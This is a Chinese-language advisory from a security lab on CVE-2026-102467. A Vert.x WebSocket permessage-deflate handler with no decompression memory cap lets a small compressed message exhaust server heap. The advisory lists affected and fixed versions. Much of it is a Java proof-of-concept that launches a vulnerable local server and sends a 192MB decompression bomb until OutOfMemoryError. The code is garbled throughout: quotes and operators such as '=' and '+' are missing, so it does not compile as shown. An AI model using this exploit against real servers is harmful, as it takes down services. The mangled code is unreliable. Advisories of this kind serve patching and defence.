开源组件漏洞分析-CVE-2026-102467-Vert.x WebSocket解压炸弹拒绝服务漏洞
本文作者宇航涂鸦智能安全实验室漏洞编号CVE-2026-102467受影响版本io.vertx:vertx-core [5.2.0,5.2.1)、[5.0.0,5.1.9)、[4.0.0,4.5.35)vert.x [5.2.0,5.2.0]、[4.5.0,4.5.35)、[5.0.0,5.1.10)漏洞危害Eclipse Vert.x 是 Eclipse 基金会开源的 JVM 响应式应用开发工具包其核心模块 vertx-core 提供 HTTP、WebSocket 等网络组件广泛用于构建高并发后端服务与网关。 受影响版本中服务端默认支持 WebSocket per-frame 与 per-message deflate 压缩扩展初始化 Netty DeflateFrameServerExtensionHandshaker 与 PerMessageDeflateServerExtensionHandshaker 时未传入 maxAllocation 解压内存上限恶意客户端在完成 WebSocket 握手协商压缩后发送体积极小、解压后急剧膨胀的 zip 炸弹帧解压过程不受限地分配内存maxWebSocketFrameSize 与 maxWebSocketMessageSize 校验发生在解压完成之后堆内存被耗尽导致服务拒绝启用压缩的 Vert.x WebSocket 客户端连接恶意服务端时同样受影响。 修复版本中通过在服务端 HttpServerConnectionHandler#initializeWebSocketExtensions 与客户端 Http1ClientConnection#initializeWebSocketExtensionHandshakers 中为 DeflateFrame 与 PerMessageDeflate 扩展 handshaker 传入 maxAllocation帧上限加 512、消息上限加 512Netty 解压处理器在解压过程中强制执行分配上限并在超限时抛出 DecompressionException切断了压缩炸弹的无界展开路径。漏洞pocddosVertx vertxVertx.vertx();HttpClient clientvertx.createHttpClient(newHttpClientOptions().setTryUsePerMessageWebSocketCompression(true).setMaxWebSocketMessageSize(bombMb*1024*102465536).setMaxWebSocketFrameSize(bombMb*1024*102465536));byte[]bombnewbyte[bombMb*1024*1024];Arrays.fill(bomb,(byte)A);漏洞触发点if(args.length0){Vertx vertxVertx.vertx();CountDownLatch donenewCountDownLatch(1);AtomicReferenceStringoutcomenewAtomicReferenceString(未收到消息);HttpServer serververtx.createHttpServer(newHttpServerOptions().setHost(127.0.0.1).setPort(18080).setMaxWebSocketFrameSize(256*1024*1024)// 放大帧上限避免解压被帧校验提前中止.setMaxWebSocketMessageSize(8*1024)// 应用自以为的内存护栏本漏洞中不起作用.setPerMessageWebSocketCompressionSupported(true));server.webSocketHandler(ws-{ws.frameHandler(frame-{outcome.set(收到帧 (frame.isBinary()?frame.binaryData().length():0) bytes);done.countDown();});ws.exceptionHandler(e-{outcome.set(e.toString());done.countDown();});ws.closeHandler(v-done.countDown());});server.listen(ar-System.out.println(ar.succeeded()?服务端就绪:监听失败 ar.cause()));done.await(30,TimeUnit.SECONDS);System.out.println(RESULT outcome.get());System.out.flush();Runtime.getRuntime().halt(0);}漏洞详情该漏洞主要在于服务端启用 WebSocket 压缩permessage-deflate后Vert.x 构造压缩扩展握手器时没有给解压器设置最大内存分配上限maxAllocation解压过程不受 maxWebSocketFrameSize / maxWebSocketMessageSize 约束。攻击者只发送一条压缩后几百 KB、解压后数百 MB 的消息压缩炸弹服务端就会在完成任何长度校验之前把整段数据解压进内存直接耗尽堆内存DoS。以下是验证poc代码packagecom.example.test.cves;importio.vertx.core.Vertx;importio.vertx.core.buffer.Buffer;importio.vertx.core.http.HttpClient;importio.vertx.core.http.HttpClientOptions;importio.vertx.core.http.HttpServer;importio.vertx.core.http.HttpServerOptions;importio.vertx.core.http.WebSocketConnectOptions;importorg.slf4j.Logger;importorg.slf4j.LoggerFactory;importjava.io.BufferedReader;importjava.io.InputStreamReader;importjava.nio.charset.StandardCharsets;importjava.util.Arrays;importjava.util.concurrent.CountDownLatch;importjava.util.concurrent.TimeUnit;importjava.util.concurrent.atomic.AtomicReference;publicclassCVE_2026_102467{publicstaticvoidmain(String[]args)throwsException{try{((ch.qos.logback.classic.Logger)LoggerFactory.getLogger(Logger.ROOT_LOGGER_NAME)).setLevel(ch.qos.logback.classic.Level.WARN);}catch(Throwableignored){}// 子进程模式以受限堆运行存在漏洞的 WebSocket 服务端if(args.length0){VertxvertxVertx.vertx();CountDownLatchdonenewCountDownLatch(1);AtomicReferenceStringoutcomenewAtomicReferenceString(未收到消息);HttpServerserververtx.createHttpServer(newHttpServerOptions().setHost(127.0.0.1).setPort(18080).setMaxWebSocketFrameSize(256*1024*1024)// 放大帧上限避免解压被帧校验提前中止.setMaxWebSocketMessageSize(8*1024)// 应用自以为的内存护栏本漏洞中不起作用.setPerMessageWebSocketCompressionSupported(true));server.webSocketHandler(ws-{ws.frameHandler(frame-{outcome.set(收到帧 (frame.isBinary()?frame.binaryData().length():0) bytes);done.countDown();});ws.exceptionHandler(e-{outcome.set(e.toString());done.countDown();});ws.closeHandler(v-done.countDown());});server.listen(ar-System.out.println(ar.succeeded()?服务端就绪:监听失败 ar.cause()));done.await(30,TimeUnit.SECONDS);System.out.println(RESULT outcome.get());System.out.flush();Runtime.getRuntime().halt(0);}System.out.println(CVE-2026-102467 漏洞验证);System.out.println(Eclipse Vert.x WebSocket 解压无内存分配上限 DoS);System.out.println(服务端配置: maxWebSocketMessageSize 8192 bytes内存护栏, 堆上限 128MB);ProcesschildnewProcessBuilder(System.getProperty(java.home)/bin/java,-Xmx128m,-cp,System.getProperty(java.class.path),CVE_2026_102467.class.getName(),server).redirectErrorStream(true).start();Thread.sleep(4000);// 等待子进程开始监听intbombMb192;VertxvertxVertx.vertx();HttpClientclientvertx.createHttpClient(newHttpClientOptions().setTryUsePerMessageWebSocketCompression(true).setMaxWebSocketMessageSize(bombMb*1024*102465536).setMaxWebSocketFrameSize(bombMb*1024*102465536));byte[]bombnewbyte[bombMb*1024*1024];Arrays.fill(bomb,(byte)A);System.out.println(发送一条压缩后仅数百 KB、解压后约 bombMbMB 的消息);CountDownLatchsentnewCountDownLatch(1);client.webSocket(newWebSocketConnectOptions().setHost(127.0.0.1).setPort(18080).setURI(/ws),res-{if(res.succeeded()){res.result().closeHandler(v-sent.countDown());res.result().exceptionHandler(e-sent.countDown());res.result().writeBinaryMessage(Buffer.buffer(bomb));}else{System.out.println(客户端连接失败: res.cause());sent.countDown();}});sent.await(30,TimeUnit.SECONDS);// 读取服务端子进程输出并判定booleanoomfalse;BufferedReaderreadernewBufferedReader(newInputStreamReader(child.getInputStream(),StandardCharsets.UTF_8));Stringline;while((linereader.readLine())!null){System.out.println( [服务端] line);if(line.contains(OutOfMemoryError)){oomtrue;}}System.out.println(oom?✓ 漏洞触发成功服务端解压阶段直接耗尽堆内存8KB 的消息上限未产生任何约束:✗ 未触发 OOM漏洞已修复);vertx.close();}}运行后可得到修复方案1、升级 io.vertx:vertx-core 至 4.5.35、5.1.10 或 5.2.1。加白策略由上分析可知此处漏洞触发条件有以下两点1、服务端默认开启websocket服务端。2、客户端向服务端发送恶意的解压数据。可导致服务端直接挂掉此处风险较大无法进行加白处理。